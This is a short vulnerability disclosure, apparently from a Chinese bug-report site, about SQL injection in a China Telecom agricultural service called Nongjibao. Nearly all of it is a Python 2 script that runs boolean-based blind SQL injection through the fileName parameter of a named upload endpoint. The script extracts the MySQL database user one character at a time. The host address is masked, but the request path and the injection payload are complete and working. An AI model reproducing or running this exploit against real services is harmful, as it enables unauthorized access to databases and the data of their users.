中国电信农技宝某处SQL注入一枚

#encoding=utf-8
 
 import requests
 import time
 import string
 import sys
 import random
 
 headers = {'Content-Type':'application/x-www-form-urlencoded'}
 payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
 print 'Start to retrive MySQL User:'
 
 user = ''
 
 for i in range(1, 28):
 
     for payload in payloads:
 
         try:
 
             s = "and mid(user(),%s,1)='%s" % (i, payload)
 
             url = "http://**.**.**.**/uploadFile/loadFeatureImgDataByFileName.do?fileName=d12da195-4e90-486d-ba9e-be00e7383263_20160325022009209.jpg' "+s
             r = requests.get(url,timeout=5)
             if  "Photoshop" in r.content:
                 print payload
                 user =user+payload
         except:
             pass
 
 
 
 print '[Done] MySQL user is %s' % user